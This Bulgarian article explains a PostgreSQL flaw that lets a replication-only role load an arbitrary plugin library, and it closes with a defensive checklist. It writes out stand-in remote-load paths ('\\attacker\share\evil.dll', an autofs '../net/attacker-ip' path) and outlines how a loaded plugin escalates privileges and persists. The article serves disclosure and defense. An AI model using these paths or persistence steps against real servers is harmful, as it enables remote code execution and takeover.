Съдържание

/postgresql-logical-decoding-replication-takeover/postgresql-logical-decoding-replication-takeover.png

Пълен курс по етично хакерство от нула до експерт

Хаквайте като black hat хакери. Тестване за проникване, Kali Linux, WiFi и уеб хакерство, както и хакерският начин на мислене зад тях.

Базов акаунт в базата данни, на когото е било разрешено единствено да копира данни, е можел да изпълнява команди на самия сървър. Администраторите никога не са му давали това право. Уязвимостта е била отворена в продължение на дванадесет години – откакто PostgreSQL 9.4 излезе през 2014 г.

Този акаунт има само една задача. Той няма никакви права върху вашите таблици и не може да създава или изтрива нищо. Той получава разрешение да следи промените в базата данни, тъй като инструмент за архивиране или резервен (standby) сървър трябва да знае какво се е случило. В PostgreSQL това разрешение се нарича REPLICATION.

Името прави така, че да изглежда безобидно. Но не е. Същият атрибут ви позволява да стартирате pg_basebackup, а базовият резервен архив копира директорията с данни наведнъж, заедно с pg_authid и хешовете на паролите. PostgreSQL оцени тази уязвимост на 7.2, с изискване за високи привилегии (Privileges Required: High).

Това все пак беше достатъчно за зареждане на файл от друга машина в процеса на базата данни и изпълнение на команди като системен потребител.

Базата данни записва какво предстои да се промени, преди действително да го промени. Операциите по вмъкване, актуализиране и изтриване първо постъпват в лог файл, за да може извършената работа да преживее прекъсване на захранването. Този лог е write-ahead log (WAL).

Логическото декодиране (Logical decoding) чете този лог и го превръща в поток, който други системи могат да следят. Малка част от кода определя как изглежда потокът: pgoutput за родния формат, test_decoding за обикновен текст, wal2json за JSON. Тази част е плъгинът за изход (output plugin), а клиентът избира такъв по име, когато отваря слот:

Зареждащият модул приема това име за даденост.

Зареждането на плъгин означава зареждане на код директно в работещата база данни. PostgreSQL има команда точно за това – LOAD, и тя се наблюдава. Ако поискате файл, до който нямате работа, и сте потребител без права на суперпотребител, проверка, наречена check_restricted_library_name(), ви спира.

Пътят на репликацията е заобиколил тази проверка. Името на плъгина е пристигало по мрежата, отивало е към LoadOutputPlugin() и оттам към извикването, което отваря библиотека на диска: dlopen() под Linux и macOS, LoadLibrary() под Windows. Наклонените черти, обратните наклонени черти и ../ са преминавали недокоснати. Един модул за зареждане, два начина за влизане, а проверката е била поставена само на единия от тях.

Под Windows името на файла може да сочи към друг компютър. Две обратни наклонени черти, име на машина, споделен ресурс: \\attacker\share\evil.dll. Windows вижда това и отива да го изтегли през SMB на порт 445. Той изтегля DLL файла, картографира го в работещата база данни и извиква _PG_init(), за да го стартира.

Нищо не се записва на диска на целевата система. Скенерът търси файл, който никога не е бил записван.

Linux и macOS имат своя собствена версия на този трик. Някои машини изпълняват услуга, която монтира мрежов споделен ресурс в момента, в който нещо докосне пътя. Тя се нарича autofs. Име на плъгин като ../../../net/attacker-ip/share/evil.so е достатъчно: монтирането се извършва през NFS на порт 2049 и библиотеката се зарежда оттам. Това не е стандартно за защитен сървър, но е често срещано на машини, които някой е настроил преди години и никога повече не е поглеждал.

След като кодът е вътре, той се намира в процеса на базата данни, в същата памет като сървъра, без нищо между него и останалата част от машината.

PostgreSQL съхранява своите потребители в таблица, наречена pg_authid, с колона за всяко право, което притежават. Обикновено това се променя с ALTER ROLE и сървърът проверява дали имате право на това. Плъгинът пише директно в таблицата и пропуща проверката. Той включва правата за собствения си акаунт и поставя кука (hook) в кода за разрешения, която отговаря с „да“ на каквото и да бъде поискано.

Погледнете ролите след това и изглежда като обикновен ALTER ROLE. Логът остава тих.

  • → той преписва pg_hba.conf – файла, който решава кой може да се влезе, така че влизането да премине с каквито потребител и парола бъдат предложени, и го презарежда на място
  • → той се копира на постоянно място и се добавя към shared_preload_libraries – списъка с код, който сървърът зарежда при стартиране, така че се връща след рестарт
  • → той възстановява правата обратно, ако администратор ги отнеме

Владимир Токарев и Ю Кунпенг съобщиха за проблема на проекта PostgreSQL на 21 февруари 2026 г., заедно с анализ на първопричината и работеща концепция (proof of concept) за Windows. Корекцията за сигурност и бюлетинът излязоха заедно на 13 август в версия, съдържаща 28 CVE и над 110 коригирани грешки, така че тази уязвимост се намираше някъде по средата на дълъг списък. Техническият доклад последва на 1 септември от Cyera под името PostGREShell.

Корекцията представлява списък. Нова настройка, output_plugin_libraries, посочва плъгините, които клиент за репликация може да поиска. Всичко останало се отказва, независимо дали потребителят е суперпотребител или не. Стойността по подразбиране:

Ако използвате wal2json или decoderbufs, вашата логическа репликация спира след обновяването, докато сами не добавите този плъгин в списъка. Проектът wal2json вече отбелязва това в собствения си README файл заедно с CVE номера. Debezium се доставя с decoderbufs по подразбиране, така че тази конфигурация също спира, докато Debezium с pgoutput продължава да работи.

При надграждане от версия 17 или по-нова, pg_upgrade --check също се проваля, ако новият клъстер не позволява плъгините, които вашите стари слотове използват. Това е такъв тип изненада, заради която обновяването се отлага. Отлагането е начинът, по който една дванадесетгодишна дупка остава отворена.

Ден по-късно се появи втората половина на проблема. Настройката може да се различава за различните бази данни, а първата корекция е проверявала само базата данни от данните за връзката, а не тези, които инструментът е трябвало да конвертира. Корекцията все още бе в процес на преглед на 6 септември.

Това изследване включваше и търсене в VirusTotal: 114 зловредни плъгина за PostgreSQL вече се намираха в колекцията. Този брой не е доказателство за извършена атака чрез тази уязвимост. В публични репозитории няма готов за използване зловреден код (exploit), а CVE липсва от списъка на CISA с уязвимости под активна атака. Спусъкът за задействане също не е тайна: техническият доклад посочва, че се побира в три реда Python код. Това, което тези 114 файла показват, е че някой вече създава враждебни плъгини за бази данни и ги качва.

Две неща трябваше да са изпълнени. Някой трябваше да има акаунт с права REPLICATION, а сървърът трябваше да работи с wal_level = logical. Това не е настройката по подразбиране (тя е replica) и превключването ѝ изисква рестартиране на сървъра, така че някой я е включил с конкретна причина: прихващане на промени в данните (change data capture), миграция или аналитични справки, които следят базата данни в реално време.

Какво да проверите на собствената си машина:

  • → преди да обновите, изпълнете SELECT DISTINCT plugin FROM pg_replication_slots WHERE plugin IS NOT NULL; и се уверете, че тези плъгини присъстват в списъка
  • → отворете psql и изпълнете \du, след което вижте кои роли имат права за Replication
  • → изпълнете SHOW wal_level; и проверете дали стойността е logical
  • → обновете до 18.6, 17.11, 16.15, 15.19 или 14.24, след което изпълнете SHOW output_plugin_libraries;
  • → проверете тази настройка за всяка база данни поотделно, тъй като друга база данни на същия сървър може да има различен списък
  • → премахнете правата REPLICATION от акаунти, които не се нуждаят от тях
  • → ограничете редовете за репликация в pg_hba.conf само до известни за вас адреси
  • → блокирайте изходящия трафик към портове 445 и 2049 от сървъра на базата данни
  • → ако използвате PostgreSQL 14, планирайте миграция: тази версия спира да получава корекции за сигурност на 12 ноември 2026 г.

База данни предоставя акаунт с ограничени права. Този ограничен акаунт би могъл да посочи файл от чужд SMB споделен ресурс и да накара сървъра да го зареди в собствения си процес. В продължение на дванадесет години кодът правеше точно това, което гласяха инструкциите му. Разрешението указва репликация. А всъщност предоставяше шел (shell).

Ако администрирате PostgreSQL, отворете psql още тази вечер, въведете \du и вижте кои роли разполагат с права за Replication, без да си спомняте някога да сте ги предоставяли.

PostgreSQL Security Advisory | PostgreSQL 18.6 Release Notes | PostgreSQL Documentation | Cyera Research | pgsql-hackers